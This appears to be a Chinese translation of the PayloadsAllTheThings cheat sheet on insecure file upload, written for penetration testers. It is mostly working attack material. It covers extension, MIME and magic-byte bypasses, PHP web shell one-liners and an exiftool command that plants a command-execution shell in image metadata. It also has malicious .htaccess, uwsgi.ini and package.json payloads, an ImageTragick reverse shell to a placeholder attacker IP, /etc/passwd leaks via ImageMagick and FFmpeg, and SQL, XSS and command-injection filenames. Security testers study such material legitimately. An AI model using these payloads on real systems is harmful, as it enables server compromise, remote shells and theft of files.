跳转至

不安全文件上传 (Upload Insecure Files)

如果处理不当,上传的文件可能会带来显著的安全风险。远程攻击者可以通过发送带有精心设计的文名或 MIME 类型的 multipart/form-data POST 请求,从而执行任意代码。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

文件上传思维导图

默认扩展名 (Defaults Extensions)

以下是所选语言(PHP, ASP, JSP)中常见的 Web Shell 页面默认扩展名列表。

  • PHP 服务器

    .php
    .php3
    .php4
    .php5
    .php7
    
    # 较少见的 PHP 扩展名
    .pht
    .phps
    .phar
    .phpt
    .pgif
    .phtml
    .phtm
    .inc
    
  • ASP 服务器

    .asp
    .aspx
    .config
    .cer # (IIS <= 7.5)
    .asa # (IIS <= 7.5)
    shell.aspx;1.jpg # (IIS < 7.0)
    shell.soap
    
  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions

  • Perl: .pl, .pm, .cgi, .lib
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Node.js: .js, .json, .node

其他可被利用来触发不同漏洞的扩展名:

  • .svg: XXE, XSS, SSRF
  • .gif: XSS
  • .csv: CSV 注入
  • .xml: XXE
  • .avi: LFI, SSRF
  • .js : XSS, 开放重定向
  • .zip: RCE, DOS, LFI 利用链 (Gadget)
  • .html : XSS, 开放重定向

上传技巧 (Upload Tricks)

扩展名绕过

  • 使用双重扩展名:.jpg.php, .png.php5
  • 使用反向双重扩展名(适用于利用 Apache 的配置错误,即只要包含 .php 即可执行,不一定非要以其结尾):.php.jpg
  • 随机大小写:.pHp, .pHP5, .PhAr
  • 空字节(Null byte,对 pathinfo() 等函数有效)
    • .php%00.gif
    • .php\x00.gif
    • .php%00.png
    • .php\x00.png
    • .php%00.jpg
    • .php\x00.jpg
  • 特殊字符

    • 多个点:file.php......。在 Windows 上,文件名末尾的点会被自动移除。
    • 空格与换行符
      • file.php%20
      • file.php%0d%0a.jpg
      • file.php%0a
    • 从右至左重写字符 (RTLO):name.%E2%80%AEphp.jpg 会变为 name.gpj.php
    • 斜杠:file.php/, file.php.\, file.j\sp, file.j/sp
    • 多个特殊字符组合:file.jsp/././././.
    • UTF8 文件名:Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt
  • 在 Windows 操作系统上,include, requirerequire_once 函数会将 "foo.php" 后跟一个或多个字符 \x20 (空格), \x22 ("), \x2E (.), \x3C (<), \x3E (>) 重新转换回 "foo.php"。

  • 在 Windows 操作系统上,fopen 函数会将 "foo.php" 后跟一个或多个字符 \x2E (.), \x2F (/), \x5C () 重新转换回 "foo.php"。
  • 在 Windows 操作系统上,move_uploaded_file 函数会将 "foo.php" 后跟一个或多个字符 \x2E (.), \x2F (/), \x5C () 重新转换回 "foo.php"。

  • 在 Windows 操作系统上,在 IIS 上运行 PHP 时,保存文件时某些字符会被自动转换(例如 web<< 会变成 web**,并可以替换 web.config)。

    • \x3E (>) 被转换为 \x3F (?)
    • \x3C (<) 被转换为 \x2A (*)
    • \x22 (") 被转换为 \x2E (.)。要在文件上传请求中使用此技巧,Content-Disposition 头应使用单引号(例如 filename='web"config')。

文件标识绕过 (File Identification)

MIME 类型(Multipurpose Internet Mail Extensions type)是告诉浏览器、服务器和应用程序正在处理何种文件或数据的标准化标识符。它由类型和子类型组成,中间以斜杠分隔。将 application/x-phpapplication/x-phpapplication/octet-stream 更改为 image/gif 可以将内容伪装成图像。

  • 常见的图像 Content-Type:

    Content-Type: image/gif
    Content-Type: image/png
    Content-Type: image/jpeg
    
  • Content-Type 字典:SecLists/web-all-content-types.txt

    text/php
    text/x-php
    application/php
    application/x-php
    application/x-httpd-php
    application/x-httpd-php-source
    
  • 设置两次 Content-Type,一次是不允许的类型,一次是允许的类型。

文件头魔术字节 (Magic Bytes) - 有时应用程序根据文件的前几个特征字节来识别文件类型。在文件中添加/替换这些字节可能会欺骗应用程序。

  • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
  • JPG: \xff\xd8\xff
  • GIF: GIF87aGIF8;

文件封装绕过 (File Encapsulation)

利用 Windows 中的 NTFS 替代数据流 (ADS)。 在这种情况下,冒号字符 ":" 将被插入到禁止的扩展名之后和允许的扩展名之前。结果是,服务器上将创建一个扩展名为禁止扩展名的空文件(例如 "file.asax:.jpg")。稍后可以使用其他技术(如短文件名)来编辑该文件。"::$data" 模式也可用于创建非空文件。此外,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")。

其他技巧

PHP Web Shell 并不总是必须包含 <?php 标签,以下是一些替代方案:

  • 使用 PHP 脚本标签 <script language="php">

    <script language="php">system("id");</script>
    
  • <?= 是 PHP 中输出值的简写语法,相当于 <?php echo

    <?=`$_GET[0]`?>
    

文件名相关漏洞 (Filename Vulnerabilities)

有时漏洞不在于上传本身,而在于之后如何处理文件。你可能想要上传文件名中带有攻击载荷的文件。

  • 时间型 SQL 注入载荷:例如 poc.js'(select*from(select(sleep(20)))a)+'.extension
  • LFI/目录穿越载荷:例如 image.png../../../../../../../etc/passwd
  • XSS 载荷:例如 '"><img src=x onerror=alert(document.domain)>.extension
  • 文件穿越:例如 ../../../tmp/lol.png
  • 命令注入:例如 ; sleep 10;

还可以上传:

  • HTML/SVG 文件以触发 XSS
  • EICAR 文件以检查是否存在杀毒软件

图片压缩绕过 (Picture Compression)

创建包含 PHP 代码的合法图片。上传图片并使用本地文件包含 (LFI) 来执行代码。可以使用以下命令调用 Shell:curl 'http://localhost/test.php?0=system' --data "1='ls'"

  • 图片元数据:将载荷隐藏在元数据的注释标签中。
  • 图片裁剪/缩放:将载荷隐藏在压缩算法中,以绕过缩放处理。这也可以击败 getimagesize()imagecreatefromgif() 的检测。
    • JPG: 使用 createBulletproofJPG.py
    • PNG: 使用 createPNGwithPLTE.php
    • GIF: 使用 createGIFwithGlobalColorTable.php

图片元数据利用 (Picture Metadata)

创建自定义图片并使用 exiftool 插入 Exif 标签。可以在 exiv2.org 找到多个 Exif 标签的列表。

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

配置文件利用 (Configuration Files)

如果你尝试将文件上传到:

  • PHP 服务器:参考 .htaccess 技巧来执行代码。
  • ASP 服务器:参考 web.config 技巧来执行代码。
  • uWSGI 服务器:参考 uwsgi.ini 技巧来执行代码。

配置文件示例:

Apache: .htaccess

Apache HTTP 服务器中的 .htaccess 文件使用 AddType 指令来为不同的文件扩展名指定 MIME 类型。该指令帮助服务器了解如何处理不同类型的文件,以及在向客户端(如 Web 浏览器)提供文件时应关联什么内容类型。

AddType 指令的基本语法如下:

AddType mime-type 扩展名 [扩展名 ...]

通过上传包含以下内容的 .htaccess 文件来利用 AddType 指令:

AddType application/x-httpd-php .rce

然后上传任何以 .rce 为扩展名的文件即可执行 PHP 代码。

WSGI: uwsgi.ini

uWSGI 配置文件可以包含“魔法”变量、占位符和以精确语法定义的运算符。其中,@ 运算符以 @(文件名) 的形式用于包含文件内容。支持多种 uWSGI 方案,包括 exec——这对于从进程的标准输出中读取非常有用。当解析 .ini 配置文件时,这些运算符可以被武器化,用于远程命令执行或任意文件读写。

一个恶意的 uwsgi.ini 文件示例:

[uwsgi]
; 从符号中读取
foo = @(sym://uwsgi_funny_function)
; 从二进制附加数据中读取
bar = @(data://[已隐藏])
; 从 http 中读取
test = @(http://[已隐藏])
; 从文件描述符中读取
content = @(fd://[已隐藏])
; 从进程标准输出中读取
body = @(exec://whoami)
; 调用返回 char * 的函数
characters = @(call://uwsgi_func)

当解析配置文件时(例如重启、崩溃或自动重载时),载荷将会被执行。

依赖管理器 (Dependency Manager)

此外,你可能可以上传带有自定义脚本的 JSON 文件,尝试覆盖依赖管理器的配置文件。

  • package.json

    "scripts": {
        "prepare" : "/bin/touch /tmp/pwned.txt"
    }
    
  • composer.json

    "scripts": {
        "pre-command-run" : [
        "/bin/touch /tmp/pwned.txt"
        ]
    }
    

CVE - ImageMagick

如果后端使用 ImageMagick 对用户图片进行缩放/转换,你可以尝试利用 ImageTragik 等知名漏洞。

CVE-2016–3714 - ImageTragik

上传带有图像扩展名的此内容以利用漏洞(ImageMagick <= 7.0.1-1):

  • ImageTragik - 示例 #1

    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1|touch "hello)'
    pop graphic-context
    
  • ImageTragik - 示例 #3

    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    

该漏洞可以通过使用 convert 命令触发:

convert shellexec.jpeg whatever.gif

CVE-2022-44268

CVE-2022-44268 是在 ImageMagick 中发现的信息泄露漏洞。攻击者可以通过构造恶意的图像文件来利用此漏洞,当易受攻击版本的软件处理该文件时,可以泄露运行该软件的服务器本地文件系统的信息。

  • 生成载荷:

    apt-get install pngcrush imagemagick exiftool exiv2 -y
    pngcrush -text a "profile" "/etc/passwd" exploit.png
    
  • 通过上传文件触发漏洞。后端可能会执行类似 convert pngout.png pngconverted.png 的命令。

  • 下载转换后的图片并使用以下命令检查其内容:identify -verbose pngconverted.png
  • 转换外带的数据:python3 -c 'print(bytes.fromhex("来自文件的HEX值").decode("utf-8"))'

Picture ImageMagick/ 文件夹中可以找到更多载荷。

CVE - FFMpeg HLS

FFmpeg 是用于处理音频和视频格式的开源软件。你可以在 AVI 视频中使用恶意的 HLS 播放列表来读取任意文件。

  1. ./gen_xbin_avi.py file://<文件名> file_read.avi
  2. file_read.avi 上传到某个处理视频文件的网站。
  3. 在服务器端(由视频服务执行):ffmpeg -i file_read.avi output.mp4
  4. 在视频服务中点击“播放”。
  5. 如果运气好,你将在服务器上看到 <文件名> 的内容。

该脚本创建了一个包含 GAB2 内 HLS 播放列表的 AVI 文件。该脚本生成的播放列表如下所示:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST

CVE FFmpeg HLS/ 文件夹中可以找到更多载荷。

实验环境 (Labs)

参考资料 (References)